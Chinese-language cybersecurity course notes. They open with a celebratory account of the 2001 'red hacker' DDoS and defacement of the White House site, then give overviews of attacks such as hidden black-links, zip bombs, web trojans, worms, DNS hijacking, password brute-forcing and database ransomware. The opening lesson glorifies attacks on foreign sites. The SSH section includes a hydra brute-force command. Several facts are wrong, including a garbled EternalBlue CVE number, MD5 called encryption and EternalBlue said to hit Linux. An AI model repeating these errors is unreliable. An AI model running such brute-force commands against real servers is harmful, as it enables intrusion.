卓越网络安全教程笔记-全-
卓越网络安全教程笔记(全)
课程 P1:0.1 - 中国红客的起源与精神传承 🇨🇳
在本节课中,我们将要了解中国红客精神的起源,回顾2001年那场震惊世界的网络攻防战,并探讨其背后的技术策略与深远意义。

背景:冲突的导火索
上一节我们介绍了课程主题,本节中我们来看看事件的起因。2001年4月1日,美国EP-3侦察机擅自闯入中国领空。在遭到中国战机拦截后,美机竟主动攻击了前来执行任务的中国81192号战机。飞行员王伟在最后时刻留下“81192收到,我已无法返航,你们继续前进!”的通讯后壮烈牺牲。


更令人愤慨的是,作为事件的始作俑者,美国不仅未道歉,其国内的一些黑客反而开始疯狂攻击中国网络。这种嚣张行径彻底激怒了中国网民,反击的呼声日益高涨。
红客联盟的登场
面对挑衅,中国红客联盟站了出来。这并非他们首次亮相。早在1998年,中国红客便因黑掉印尼网站而一战成名。1999年,他们更是与美国黑客正面交锋,成功攻击美国网站以捍卫国家尊严。因此,面对老对手的宣战,美方也严阵以待。


美国方面高度重视,特别下发加强网络安全通知,修补漏洞。其网络安全团队甚至预判了红客的攻击路径,故意只留下一个漏洞,意图“瓮中捉鳖”。相比之下,当时的红客联盟更像是一群“散兵游勇”。
力量悬殊下的战术抉择
上一节我们看到了双方实力的差距,本节中我们来看看红客联盟如何应对。当时中国互联网远未普及,既无专门的网络安全部门,懂黑客技术的人也凤毛麟角。在无人无技术的困境下,这场仗还能打吗?
答案是肯定的。2001年5月4日晚,美国白宫网站出现严重卡顿,最终彻底瘫痪。这正是中国红客的杰作。美国专家们没想到,红客们选择了最直接的战术:分布式拒绝服务攻击。
其核心原理可以用一个简单的公式描述:
网站瘫痪 = 海量请求 > 服务器承载极限
原来,红客联盟预判了美方的预判,决定扬长避短,采用最朴素的“人海战术”。
以下是当时采取的具体步骤:
- 制作简易工具:红客联盟制作了一个仅几十KB的攻击软件。
- 全民动员:他们向广大网友呼吁,只需使用该软件,即可参战,但需承担电脑受损的风险。
- 集结力量:无数网友响应号召,动用家庭电脑、网吧电脑甚至学校设备,迅速集结了一支约8万人的“红客大军”。
这支庞大的队伍从四面八方发起攻击。虽然美国黑客立即对攻击来源的IP进行反制,但“全民红客”的战术成功掩护了红客联盟的主力部队。美方黑客只能疲于应付这些“诱饵”,为红客主力争取了宝贵时间。
胜利的成果与代价
当白宫网站恢复后,全世界都看到了令人震惊的一幕:其首页上飘扬着五星红旗,并写着“王伟永垂不朽”。美国专家不得不酸溜溜地承认,中国的“脚本小子”们真的瘫痪了白宫网站。

在取得阶段性成果后,红客联盟并未恋战,于5月8日主动撤离,结束了战斗。
这场胜利的代价同样巨大:
- 我方共攻陷美方1200多个网站。
- 参与行动的电脑有过半数因遭受反击而损坏,成了“电子垃圾”。
- 许多年轻红客因使用家庭电脑参战并产生高额拨号上网费,而“挨了父母一顿揍”。

总结与传承
本节课中我们一起学习了2001年中美黑客大战的始末。这场依靠无数普通网民团结换来的胜利,是一个奇迹。它向世界展现了中国人的团结,并让世界听到了中国的声音。

同时,这场大战也让红客联盟清醒认识到自身与美国的巨大技术差距。他们意识到,当务之急是让更多人掌握电脑技术,培养新一代的红客人才。
每一次行动,都是为了让世界看到我们不跪的模样。 这种敢于对峙绝望、捍卫国家尊严的精神,正是中国红客技术需要传承的核心。
本节课中,我们回顾了历史,理解了红客精神的本质。从技术角度看,它教会我们即使在资源匮乏时,创新的战术思维(如分布式攻击)和广泛的群众基础也能形成强大的力量。这种精神与智慧,值得每一位技术学习者铭记与传承。


课程P10:4.2-网络安全基础-病毒、恶意程序、入侵(中) 🔐

在本节课中,我们将继续学习网络安全的核心概念,包括攻击、漏洞、后门、防火墙、补丁和密码学。这些是理解网络安全防御与攻击的基础知识。


上一节我们介绍了病毒和恶意程序的基本概念,本节中我们来看看网络攻击及其相关的技术术语。
什么是网络攻击?💥
攻击指的是利用计算机网络或计算机系统中存在的漏洞或安全缺陷,对其进行破坏、窃取、更改数据,或使其丧失正常功能的行为。例如,利用著名的 CVE-2017-010(永恒之蓝) 漏洞进行的入侵,或者发起 DDoS(分布式拒绝服务) 攻击,都属于网络攻击。


攻击者通常位于网络的另一端,可能远在海外,也可能就在隔壁。他们利用技术手段实施侵害,而受害者往往看不见也摸不着他们。

中场休息后,我们继续深入探讨。


漏洞:系统的弱点 🕳️
漏洞是网络或信息系统的硬件、软件或安全策略中存在的弱点或缺陷。它可能源于操作系统设计、编码实现或协议本身。
以下是漏洞可能产生的几个主要来源:

- 操作系统层面:例如 Windows、Linux、macOS 系统中的安全缺陷。Windows 系统因其广泛使用,暴露的漏洞相对较多。
- 软件与中间件:例如数据库(MySQL)、Web服务器(Nginx/Apache/Tomcat)、开发框架(Spring)等应用程序中的漏洞。
- 业务逻辑与代码:程序员在编写代码时产生的逻辑错误或设计缺陷。这也引出了“代码审计”这项工作,即通过审查源代码来发现潜在的安全问题。
漏洞的产生可能是无意的,例如在设计时考虑不周,或在编码时因时间紧迫而引入错误。发现和修复漏洞是网络安全工作的重要部分。
后门:故意的通道 🚪
后门是指为了绕过正常的安全控制而故意留在系统或程序中的访问通道。与漏洞不同,后门是一种有意的、恶意的行为。
例如,某些国家可能要求其科技企业在产品中预留后门,以便进行监控。安卓系统、Windows 系统都曾有过此类传闻。后门允许特定使用者通过特殊方式控制系统。

后门与漏洞的核心区别在于意图:漏洞通常是意外产生的弱点,而后门则是故意植入的通道。

防火墙:网络的防盗门 🛡️
防火墙是一种用于隔离内部网络与外部网络,保护内部网络免受非法入侵的访问控制技术。它就像你家的防盗门。



防火墙可以分为两类:

- 软件防火墙:运行在操作系统上的防护程序。
- 硬件防火墙:独立的网络设备,提供更强大的防护能力,尤其能抵御像 DDoS 这类大规模流量攻击。

防火墙通过制定规则来控制网络流量,例如:

- 基于 IP 地址 允许或阻止访问。
- 基于 端口号 开放或关闭特定服务(如 Web 服务的 80 端口)。
- 区分 内网 和 外网 的访问策略。



补丁:漏洞的修复程序 🩹

当软件或系统被发现存在漏洞(缺陷)时,厂商会发布一个修补程序来修复它,这个程序就叫做“补丁”。



无论是 Windows、Linux 还是 macOS,操作系统和常用软件都会定期发布安全补丁。及时更新并安装补丁是保障系统安全最基本、最重要的措施之一。


密码学:数据的锁与钥匙 🔑


密码技术是用于保护数据机密性的核心技术。它就像给重要的信息加上一把锁。

加密 是将原始的、可读的明文信息,通过特定的算法(如 AES、MD5 等)转换为不可读的密文的过程。目的是确保即使数据被未授权的人获取,他也无法理解其内容。
其核心目的是实现信息的 保密性。

解密 则是加密的逆过程,即用对应的密钥将密文恢复为明文。
一个简单的加密思想可以用代码表示(例如,使用位移算法):
// 示例:简单的凯撒移位加密(字母后移一位)
char plaintext = ‘A’;
char ciphertext = plaintext + 1; // ciphertext 变为 ‘B’


本节课中我们一起学习了网络攻击的定义、系统漏洞的成因与来源、故意预留的后门、用于隔离防护的防火墙、修复漏洞的补丁以及保障数据安全的密码学基础概念。理解这些术语是步入网络安全领域的第一步。下一节课,我们将通过实际编程,进一步探索加密技术的实现。
课程P11:4.3-网络安全基础-病毒、恶意程序、入侵(下)🔐
在本节课中,我们将继续学习网络安全的基础知识,重点了解加密、解密、数字签名、数字水印等核心概念,并对信息安全的基本分类和防护策略进行概述。


解密 🔓


上一节我们介绍了加密,本节中我们来看看解密。


解密是加密的反过程。它将加密后的数据信息,通过某种特定的算法(该算法需要与加密时使用的算法一致)恢复为可识别的信息。这使得授权用户(即合法的、被允许的用户)能够了解原有的信息数据。

核心公式/过程:
解密过程 = 使用与加密相同的算法,将密文还原为明文

数字签名 ✍️


接下来,我们探讨数字签名这一概念。


数字签名由信息的发送者通过签名算法产生,用于证明信息发送者身份以及所发送信息的真实性。它本质上是一个数字串(或字符串)。

数字签名一般通过密码技术实现,与普通的物理签名具有同等的法律效力。例如,我们在浏览器中看到的网址旁的小锁图标,就与SSL证书和数字签名技术有关,它表示连接是经过加密和认证的。

核心概念:
- 作用:验证发送者身份和信息的完整性、真实性。
- 常见应用:HTTPS协议、软件/文档签名。



数字水印 💧


有数字签名,还有数字水印。
数字水印是一种将标识信息嵌入到数字载体中的技术,用于确认载体的所有者、判断载体是否被篡改或传送秘密信息。被嵌入的标识信息也称为数字水印。
以下是数字水印的一些关键点:
- 数字载体:可以是多媒体(音频、视频)、文档、软件等。
- 核心要求:嵌入水印不应影响原载体的使用价值。例如,人民币上的水印不会影响其流通功能。
信息安全的基本分类 🗂️


在了解了几个核心概念后,我们从一个更宏观的视角,看看信息安全的基本分类。

信息安全涉及多个层面,以下是其主要分类:
-
物理安全:保护硬件和物理设施。
- 存放位置:如IDC机房、自建机房。
- 硬件安全:设置BIOS密码、禁用不必要的USB/光驱接口、屏蔽闲置网络端口。
- 人员管理:限制非授权人员接触设备,培养员工安全意识(如离开电脑必须锁屏)。
-
系统与软件安全:减少系统和应用软件的漏洞。
- 系统选择:尽可能选择较新版本的操作系统,以修复已知漏洞。
- 软件管理:尽可能使用正版软件,及时安装漏洞补丁。
- 服务管理:关闭或卸载无关的软件和服务。
-
账号与权限管理:管理用户访问权限。
- 权限分离:例如,开发人员通常不应拥有root权限。
- 密码策略:设置高复杂度密码,并定期强制更换。
-
网络安全:保护网络传输和访问。
- 网络设计:设计安全的无线网络(加密方式、密码强度)。
- 防护措施:配置防火墙策略、进行入侵检测、使用加密传输。
-
数据安全:保护数据本身。
- 数据保护:进行数据备份、数据加密。
- 权限控制:控制数据的存取权限。
- 高级应用:例如,通过证书控制公司内部文档(如Word、Excel)只能在授权环境下打开。
安全防护策略 🛡️
最后,我们简要了解一下常见的安全防护策略类型。这些策略是安全工作的具体指导方针。
以下是几种主要的安全防护策略:
- 通用计算机安全防护策略:规定公司内所有计算机系统的统一安全基线,如关闭哪些服务、使用统一镜像、通过组策略限制软件安装等。
- 互联网安全防护策略:在网络边界(如路由器)进行控制,例如设置网站访问白名单、限制文件下载类型等。
- 无线网络安全防护策略:专门针对无线网络的安全设计,防止通过无线网络进行的钓鱼、窃密等攻击。
- 网上银行安全防护策略:聚焦于保护金融交易和敏感信息的安全措施。
- 等保(网络安全等级保护)要求:符合国家相关法律法规和标准的安全体系建设要求。


总结 📚

本节课中我们一起学习了:
- 解密的原理,即使用相同算法将密文还原为明文的过程。
- 数字签名的作用和意义,它用于验证信息发送者的身份和信息的真实性。
- 数字水印的概念与应用,它是一种嵌入在数字载体中的防伪标识。
- 信息安全的基本分类,包括物理安全、系统安全、网络安全、数据安全等多个层面。
- 常见的安全防护策略类型,为实际安全工作提供框架性指导。

这些基础知识对于理解后续更深入的安全技术和操作至关重要。下一讲,我们将开始进入更实质性的内容学习。
课程 P12:5.1 - 网络安全基础 - 常见网站攻击方式概述 - 网页黑链 🔗
在本节课中,我们将要学习网络安全中一种常见的攻击方式:网页黑链。我们将了解它的表现形式、实现原理、攻击目的以及如何防范。



网页黑链的表现形式

网页黑链是一种隐蔽的攻击手段。表面上,被攻击的网站看起来一切正常,但实际运行中可能出现加载缓慢、图片无法显示等问题。这种情况常出现在一些盗版视频网站或包含不良广告的页面上。




以下是网页黑链的几个典型特征:


- 表面正常,实则异常:网站外观无异常,但内部HTML代码中植入了恶意链接或脚本。
- 链接被隐藏:这些恶意链接通常对用户不可见,但存在于网页源代码中。
- 利用技术手段隐藏:攻击者常使用两种技术来隐藏链接:
- 字体大小为零:在CSS中将链接的字体大小设置为0,例如
font-size: 0px;,使其在页面上不显示。 - 极限偏移:利用CSS的定位属性(如
position: absolute; left: -9999px;)将链接移出可视区域。
- 字体大小为零:在CSS中将链接的字体大小设置为0,例如





黑链的攻击目的



上一节我们介绍了黑链如何隐藏,本节中我们来看看攻击者植入这些黑链究竟想达到什么目的。其核心目的是利用被黑网站的流量进行非法牟利,背后往往形成黑色产业链。


以下是几种常见的攻击目的:

- 非法植入广告链接,获取流量:用户点击后跳转到赌博(如“澳门新普京”)、网贷、色情等网站,为这些非法站点导流。
- 推广盗版或私服内容:引导用户访问盗版影视、游戏私服等网站,通常要求用户充值会员或下载客户端,这些客户端可能携带木马病毒。
- 进行网页挖矿:在网页中植入挖矿脚本,利用访问者的CPU或GPU算力秘密挖掘加密货币,消耗用户资源。





关于网页挖矿的深入解析



当黑链用于挖矿时,它直接消耗的是你的计算资源。这里我们需要理解一下“挖矿”的核心概念。


挖矿的本质是进行加密数字货币(如比特币、门罗币)的解密计算过程。每种币的加密算法不同,决定了使用CPU或GPU进行运算。其核心过程可以简化为:
矿工计算机 -> 计算哈希值 -> 提交至矿池 -> 获得奖励(数字货币)


服务器和个人电脑常中的一种挖矿病毒是“门罗币”(XMRig)。中毒后,设备CPU使用率会持续高达100%,风扇狂转。



应对挖矿病毒的思路是切断它与矿池服务器的连接。可以通过防火墙(如 iptables)或安全组规则,封禁检测到的矿池IP地址或域名。连接中断后,挖矿进程会停止,CPU负载便会下降。



总结



本节课中我们一起学习了“网页黑链”这种网络攻击方式。我们了解到,黑链通过技术手段隐藏在看似正常的网页中,其目的包括引流非法广告、推广恶意内容以及秘密进行网页挖矿。作为用户,应保持警惕,避免访问不安全的网站;作为运维或开发者,则需要定期检查网站代码,并部署有效的安全防护策略,如防火墙,以防范此类威胁。
网络安全基础 P13:5.2 - 常见网站攻击方式概述 🛡️
在本节课中,我们将要学习几种常见的网站攻击方式。了解这些攻击手段,有助于我们更好地理解网络安全威胁,并为后续学习防御措施打下基础。
概述:网站根目录出现大量植入网页
上一节我们介绍了网页中出现黑链的情况。本节中,我们来看看另一种常见的攻击方式:网站的根目录被植入大量无关网页。
这种攻击通常发生在网站开发完成后缺乏维护、无人运维的情况下。攻击者利用网站存在的上传或下载漏洞,在服务器根目录中放置大量与网站本身内容无关的网页。
攻击原理与危害
这些植入的网页会带来严重的安全问题。以下是几种常见的危害:
- 上传/下载漏洞利用:攻击者可能利用漏洞上传恶意文件。
- 目录内容暴增:病毒或恶意脚本可能会进行递归操作,遍历并污染网站的每一层目录结构,导致目录内容异常增多。
- 非本站内容:植入的内容通常不是网站本身的,而是攻击者为了特定目的(如引流、挂马)放置的。
具体攻击手法示例:压缩炸弹 💣
在应对文件上传漏洞时,攻击者可能会使用一种称为“压缩炸弹”的手段。
压缩炸弹 的原理是利用递归压缩,生成一个体积很小但解压后极其庞大的文件。例如,一个仅有 4KB 的ZIP文件,解压后可能膨胀到 4PB,瞬间占满服务器磁盘空间,导致服务瘫痪。


其核心概念可以用一个简单的递归思想来描述,虽然实际代码更复杂:
# 概念性示例:递归生成大量文件(非实际炸弹代码)
def create_bomb(depth, current_path):
if depth == 0:
return
# 在当前路径创建大量文件或子目录
for i in range(1000):
file_path = f"{current_path}/file_{i}.txt"
with open(file_path, 'w') as f:
f.write('A' * 1000) # 写入大量数据
# 递归进入子目录继续创建
create_bomb(depth-1, f"{current_path}/dir_{i}")
攻击者可能将此类文件伪装成正常资料(如“公司资料移交.zip”)通过邮件或网站上传功能发送,一旦受害者解压,其存储设备就会被塞满。


过渡到其他攻击场景
除了污染根目录,攻击者获得网站权限后,手段会更加直接。接下来,我们将看看第三种攻击方式。
第三种攻击:直接挂载恶意代码(挂马)🦠
攻击者在获取网站控制权后,可能会直接在网页中植入恶意代码,这通常被称为“挂马”。
以下类型的网站容易成为目标:
- 私服游戏网站:下载的登录器或登录页面可能被植入监控程序、键盘记录器或盗号木马。
- 高流量网站:如虚拟货币交易所、下载站、影视站等,攻击者可窃取大量用户信息。
- 捆绑恶意软件的安装包:如一些非官方的系统镜像(ISO文件)或软件安装包。
植入的恶意代码可以实现多种目的:
- 窃取信息:盗取用户输入的账号、密码、邮箱等敏感信息。
- 加密货币挖矿:在用户浏览器或服务器后台运行挖矿脚本,消耗计算资源。
- 远程控制:利用系统漏洞获取系统权限,将设备变为“肉鸡”(被控制的傀儡机)。
- 其他恶意行为:如发起SQL注入攻击、打开用户摄像头或麦克风等。
第四种攻击:服务器感染病毒导致性能异常 🐛
另一种明显的攻击迹象是服务器运行异常缓慢。这通常是因为感染了病毒或恶意程序,例如蠕虫病毒。
以下是感染途径和现象:
- 感染途径:下载并运行了来自非官方渠道的、被篡改过的软件或运维工具。
- 主要现象:
- 资源耗尽:CPU或内存占用率异常高,可能由挖矿程序、
fork炸弹或深层递归程序导致。 - 可疑进程:系统中出现大量未知的可疑进程。
- 顽固的持久化:恶意程序会通过
crontab等定时任务实现持久化,即使进程被杀死,也会从远程服务器重新下载并激活。
- 资源耗尽:CPU或内存占用率异常高,可能由挖矿程序、
过渡到网络层面的攻击
以上攻击多发生在应用层。实际上,网络传输过程中的威胁同样不容忽视。下面我们来看第五种攻击。
第五种攻击:DNS劫持 🌐
要访问一个网站,通常需要通过DNS服务器将域名解析为IP地址。DNS劫持 攻击就是篡改这一解析过程。
攻击原理:类似于错误指路,当用户尝试访问某个网站时,攻击者通过控制DNS解析,将用户的请求引导到非预期的恶意IP地址上。
危害:
- 用户无法访问目标网站。
- 被引导至钓鱼网站或广告页面,造成流量被劫持和个人信息泄露。
- 服务器本身可能并无异常,但外部访问却指向了别处。
第六种攻击:服务器及网站密码被篡改 🔑
攻击者直接篡改服务器或网站管理后台的密码,是一种非常直接的攻击方式。
常见的突破途径包括:
- 暴力破解:针对SSH(默认端口22)、远程桌面(如Windows的3389端口)等服务进行持续的密码尝试。
- 利用系统漏洞:例如利用“永恒之蓝”等高危漏洞获取系统权限。
- 利用配置弱点:如Windows古老的“粘滞键”漏洞。
攻击者篡改密码的目的可能是:
- 炫技或破坏:多为技术初学者,旨在显示能力。
- 勒索:修改密码后勒索赎金,并会清除操作日志以隐藏踪迹。
第七种攻击:数据库被植入内容 🗃️
数据是网站的核心,数据库自然也成为重点攻击目标。
攻击者侵入数据库的途径与入侵服务器类似:
- 弱密码或配置不当:例如为数据库
root账户设置远程访问且使用弱密码。 - 利用漏洞:通过数据库本身或应用层(如SQL注入)的漏洞获取访问权限。
侵入后,攻击者可能:
- 篡改或插入数据:在数据库中植入非法内容。
- 勒索锁定:对数据库或表进行加密锁定,要求支付比特币等赎金后才解密,否则数据将丢失。政府、学校、企业数据库常是此类攻击的目标。
第八种攻击:DDoS攻击 🌪️
分布式拒绝服务攻击 是另一种非常常见的网络攻击。
攻击原理:攻击者控制大量的“肉鸡”(被入侵的设备),在同一时间向目标服务器发起海量请求,耗尽目标的网络带宽、连接数或计算资源,从而导致合法用户无法访问服务。
常见攻击目标与动机:
- 游戏公司:针对登录服务器、下载服务器进行攻击。
- 恶性竞争:竞争对手之间互相攻击。
- 勒索牟利:攻击者主动攻击网站,然后向受害者兜售“防护服务”。
DDoS攻击防御成本高、难度大,往往给受害者造成严重的经济和声誉损失。
第九种攻击:非法跳转(流量劫持) ↩️
最后一种常见攻击是网站被非法添加跳转代码。
实现方式:
- 在网页中插入恶意 JavaScript 代码。
- 在服务器配置(如Nginx, Apache的配置文件)中设置非法的 301/302重定向。
目的:用户访问网站时,会被自动跳转到指定的广告页面、钓鱼网站或其他页面,以此窃取流量或进行广告欺诈。
总结
本节课中,我们一起学习了九种常见的网站攻击方式:
- 根目录植入网页:利用漏洞上传大量无关页面。
- 压缩炸弹:通过极小的压缩文件耗尽磁盘空间。
- 直接挂马:在网页中植入恶意脚本,窃密、挖矿或控制设备。
- 病毒感染:导致服务器性能急剧下降。
- DNS劫持:篡改域名解析,将用户引向恶意网站。
- 密码篡改:通过暴力破解或漏洞夺取控制权。
- 数据库入侵:篡改、锁定数据以进行勒索。
- DDoS攻击:利用海量流量压垮目标服务。
- 非法跳转:劫持网站流量至其他页面。

理解这些攻击手法是构建安全防线的第一步。在后续课程中,我们将深入探讨如何防范和应对这些威胁。
课程P14:5.3-网络安全基础-常见网站攻击方式概述-网站网页挂马 🕵️


在本节课中,我们将学习一种直接且危害性强的网站攻击方式——网页挂马。我们将了解哪些类型的网站容易成为目标,以及攻击者通过挂马可能窃取哪些信息。

上一节我们介绍了其他攻击方式,本节中我们来看看更为直接的“网页挂马”。

什么是网页挂马?
攻击者在通过各种手段获得网站的管理权限后,会直接在网站页面中植入恶意代码或程序(即“木马”)。当用户访问这些被篡改的网页时,就可能中招。
哪些网站容易遭遇网页挂马?
以下是几种高风险网站类型:
- 私服游戏网站:许多网络游戏私服的官方网站或登录页面是挂马的重灾区。
- 虚拟货币交易所:一些安全性不足的交易所网站可能被植入恶意脚本。
- 下载站与资源站:提供软件、电影、系统镜像(如“番茄花园”、“雨林木风”等非官方系统)下载的网站风险较高。
- 工具类或电影类网站:这类网站也可能被利用来传播木马。
网页挂马能做什么?
攻击者植入的木马程序可以执行多种恶意操作,窃取大量敏感信息。以下是其主要危害:
- 盗取账号密码:通过钓鱼页面或键盘记录器,窃取用户在网站输入的账号、密码、邮箱等信息。
- 收集个人信息:诱导用户注册,收集姓名、生日等,结合其他信息可能威胁到个人安全。
- 控制设备与挖矿:利用系统漏洞获取系统权限,甚至控制摄像头、麦克风,或在用户不知情时利用其设备进行加密货币“挖矿”。
- 进一步渗透:通过窃取的邮箱信息,获取购物记录、账单等,进行更深入的攻击或诈骗。

本节课中我们一起学习了“网页挂马”这种攻击方式。它通过直接篡改网站内容来危害访问者,常见于私服、下载站等安全性较弱的网站,能够盗取账号、个人信息,甚至控制用户设备。了解这些风险有助于我们在浏览网页时保持警惕。

课程P15:5.4-网络安全基础-常见网站攻击方式概述-蠕虫病毒与服务器异常 🔐
在本节课中,我们将学习一种常见的网站服务器安全问题:服务器运行缓慢。我们将重点探讨导致此现象的一种原因——服务器被植入了蠕虫病毒,并分析其感染途径、表现特征以及背后的攻击原理。
上一节我们介绍了服务器运行缓慢的几种可能性,本节中我们来看看由恶意程序,特别是蠕虫病毒导致的情况。

当发现网站服务器运行异常缓慢时,一种常见的原因是服务器被植入了蠕虫病毒。蠕虫病毒本质上是一段恶意的计算机程序代码。
这种病毒通常会导致网站打开异常缓慢,页面加载时进度指示器(如加载动画)会持续旋转。服务器容易感染此类病毒的场景包括:用户从非官方渠道下载并运行了被篡改的软件或工具。例如,一些运维工具或自动化脚本如果不是从官网下载,其安装包可能被攻击者动了手脚,一旦运行就会导致中毒。

攻击者实施这些行为时,往往运用了社会工程学原理。他们不会明示软件包含病毒,而是将其伪装成满足正常需求的工具,诱导用户下载,从而达到入侵目的。服务器运行缓慢就是感染后的一个典型表现。

那么,如何从技术层面判断服务器是否中毒了呢?我们可以通过后台监控来观察。
在后台监控硬件资源时,会发现CPU占用率异常高。服务器变慢的根本原因就是CPU等硬件资源被大量消耗。除了蠕虫病毒,消耗资源的还可能包括挖矿程序、fork炸弹或深层递归函数等。

以下是可能观察到的异常现象:
- 可疑进程:系统会生成大量可疑的后台进程。
- 异常定时任务:攻击者会设置定时任务(如在Linux系统中的Cron Job)。这类似于一个闹钟,会周期性地检查病毒进程是否存活。如果进程被杀掉,定时任务中的脚本(可能是Shell或Python编写)会从远程服务器再次下载并启动病毒程序,使其死灰复燃。
- 通过漏洞入侵:攻击者也可能利用Web应用漏洞(如XSS跨站脚本攻击或SQL注入)获取服务器权限,上传Webshell后完全控制服务器。这台被控制的服务器就成为了“肉鸡”。


一个典型的攻击案例是,攻击者通过暴露的Redis服务或GitLab等CI/CD工具漏洞入侵服务器。

感染病毒后,危害会进一步扩散。一台服务器被攻陷成为“肉鸡”后,病毒可能会自我复制并传播到网络中的其他服务器。

当攻击者控制了成百上千台这样的“肉鸡”后,就可以组建僵尸网络,为发动大规模DDoS攻击做准备。在需要时,攻击者一声令下,所有“肉鸡”同时向目标服务器发送海量请求,这就像十个人围殴一个人。目标服务器的网络带宽和硬件资源会被瞬间耗尽,导致拒绝服务,网站可能长达数小时都无法打开。这就是流量攻击的一种常见方式。

需要警惕的是,内部人员也可能成为风险源。无论是运维还是开发人员,如果其使用的工具或上传的软件包本身带毒,在通过CI/CD流程部署到服务器后,同样会导致服务器被感染。


现实中,此类攻击屡见不鲜。例如,曾有案例显示,某公司超过200台服务器同时感染挖矿病毒,导致业务全部瘫痪,恢复系统的工作量巨大。对于高流量的网站,如果访问用户中毒,其计算资源也可能被汇聚起来用于挖矿,为攻击者牟利。

本节课中我们一起学习了导致服务器运行缓慢的蠕虫病毒攻击。我们了解了其感染方式(如下载不洁软件)、在系统中的表现(如CPU占用率高、存在可疑进程和定时任务),以及其可能造成的更大危害(如形成僵尸网络发动DDoS攻击)。理解这些基础知识,是构建网站安全防护意识的第一步。

课程 P16:5.5 - 网络安全基础 - 常见网站攻击方式概述 - 网站域名DNS劫持 🔐

在本节课中,我们将要学习一种常见的网络攻击方式:DNS劫持。我们将了解它的基本概念、工作原理以及可能造成的危害。
上一节我们介绍了网络安全中常见的攻击类型,本节中我们来看看其中一种具体的方式:DNS劫持。
DNS劫持是什么?
我们要访问一个网站,可以通过它的IP地址进行访问,也可以通过域名进行访问。网站的域名是通过DNS服务器,把域名和要解析的IP地址一一对应起来。
网站域名的DNS可以被劫持。例如,原本是这个网页,但攻击者不让你解析到正确的IP地址,而是解析到别的网页上,从而达到引流的目的。


DNS劫持的危害
以下是DNS劫持可能带来的一些危害:
- 打开你要的网页,会跳转到非目标网站。
- 你自己的服务器和网站本身可能没有毛病,上面也没有病毒。
- 当你尝试访问自己的网站时,返回的IP地址不是你的网站。
- 你访问的网站,可能被劫持到境外网站。

总结

本节课中我们一起学习了DNS劫持。它是一种通过篡改域名解析结果,将用户引导至非预期网站的攻击方式。其核心在于破坏了 域名 -> DNS解析 -> IP地址 这一正常流程。理解这种攻击方式有助于我们更好地认识网络访问过程中的潜在风险。
课程 P17:5.6 - 网络安全基础 - 常见网站攻击方式概述 - 网站和服务器密码被篡改 🔐

在本节课中,我们将学习第六种常见的网站攻击方式:网站和服务器密码被篡改。我们将探讨这种攻击的常见手段、背后的动机以及攻击者的不同类型。

攻击方式概述
上一节我们介绍了其他攻击方式,本节中我们来看看第六种:密码被篡改。这种攻击通常发生在使用服务器的过程中。
常见攻击手段
以下是导致密码被篡改的几种典型方式:
1. SSH端口暴力破解
攻击者通过尝试大量用户名和密码组合来暴力破解SSH服务。默认的SSH端口是22,但管理员有时会更改端口以增加隐蔽性。然而,这并不能完全阻止定向的暴力破解攻击。代码示例如下(模拟攻击思路):
# 这是一个概念性示例,切勿用于非法用途
hydra -l username -P password_list.txt ssh://target_ip:22

2. 远程桌面协议攻击
对于Windows服务器,常见的攻击目标是3389端口(远程桌面协议)。攻击者可能利用系统漏洞或配置弱点进行入侵。
3. 系统漏洞利用
攻击者利用操作系统或应用软件的已知漏洞获取权限并篡改密码。一个著名的例子是“永恒之蓝”漏洞,它影响了Windows和Linux系统。通过此类漏洞,攻击者可以绕过认证直接控制系统。

4. 物理或本地漏洞
例如,在旧版本的Windows系统中,存在“粘连键”漏洞。连续按Shift键五次可以触发辅助功能,攻击者可能借此绕过登录界面获取系统权限。
攻击者动机分析

了解攻击手段后,我们来看看攻击者篡改密码的常见动机:
1. 炫技与挑衅
此类攻击者通常是初学者,他们篡改密码是为了炫耀技术或故意挑衅,并会留下明显的痕迹表明自己的存在。
2. 勒索与牟利
另一类攻击者以经济利益为目的。他们在篡改密码后,可能会加密文件、清除日志记录、挂上勒索信息,以此向受害者索要赎金。

3. 持续潜伏
真正有经验的攻击者往往追求长期控制。他们悄无声息地篡改密码或创建后门,并不留下任何明显痕迹,以便持续访问服务器、窃取数据或将其作为跳板。
总结

本节课中,我们一起学习了网站和服务器密码被篡改这种攻击方式。我们了解到,攻击者主要通过暴力破解、利用漏洞等方式实现密码篡改,而其动机则可分为炫技、勒索和潜伏三类。认识这些手段和动机,是做好基础安全防护的第一步。

课程P18:5.7 - 网络安全基础 - 常见网站攻击方式概述 - 网站的数据库被植入内容 🛡️💾

在本节课中,我们将要学习一种常见的网站攻击方式:网站的数据库被植入内容。我们将探讨攻击者如何利用数据库的弱点,以及这种攻击可能带来的严重后果。


上一节我们介绍了针对网站本身的多种攻击方式,本节中我们来看看攻击者如何直接针对网站的核心——数据库下手。
第七种攻击方式是网站的数据库被植入内容。这种攻击不直接破坏网站程序,而是针对存储网站数据的数据库。作为用户,你的数据必须存储在数据库里。攻击者通过入侵数据库,就能篡改或破坏其中的数据。

实际上,前面提到的几种攻击方式(如SSH、端口漏洞)同样适用于数据库攻击。攻击者可以利用这些通用漏洞来接近数据库。
以下是几种常见的数据库入侵途径:
- 利用通用服务漏洞:例如,攻击者可能通过SSH或开放的3389端口,扫描并发现你的MySQL数据库服务。一旦找到,他们就可以尝试通过这些服务直接入侵数据库。
- 数据库配置不当:很多人的数据库安全配置是薄弱环节。在我们的课程中,会讲解常见数据库的安全设置。例如,为了方便远程管理,一些运维人员会在阿里云等云主机上开放数据库的远程访问端口(如3306)。如果此时权限设置不当,比如直接为
root用户设置了允许任意IP(%)访问的权限,就会带来巨大风险。 - 弱密码与密码复用:如果数据库
root用户的密码设置得过于简单,或者与系统其他重要账户的密码相同,攻击者就可能通过暴力破解等方式直接获取数据库控制权。 - SQL注入攻击:这是另一种非常常见且危险的方式。攻击者通过在网站输入框中注入恶意SQL代码,可以绕过前端验证,直接对数据库进行查询、修改甚至删除操作。后续课程我们会详细讲解。
攻击者成功入侵数据库后,植入的内容会导致你看到的数据与原本存储的不一致。这不仅仅是数据被篡改那么简单。

近年来,针对数据库的勒索病毒特别猖獗,尤其是针对MySQL数据库。有一批攻击者专门盯着阿里云等云平台上的数据库。如果你的数据库存在安全漏洞,就很可能被攻击。

以下是数据库勒索病毒的典型行为:
- 锁定数据库或数据表:攻击者使用加密手段锁住你的整个数据库或关键数据表。
- 索要赎金:然后要求你支付赎金(通常是美元或比特币)来换取解密密钥。
- 数据丢失风险:如果你拒绝支付,攻击者不会为你解密,导致你的重要数据永久丢失。

因此,像银行、学校、政府这类存储大量敏感数据的部门,尤其容易成为此类攻击的目标。



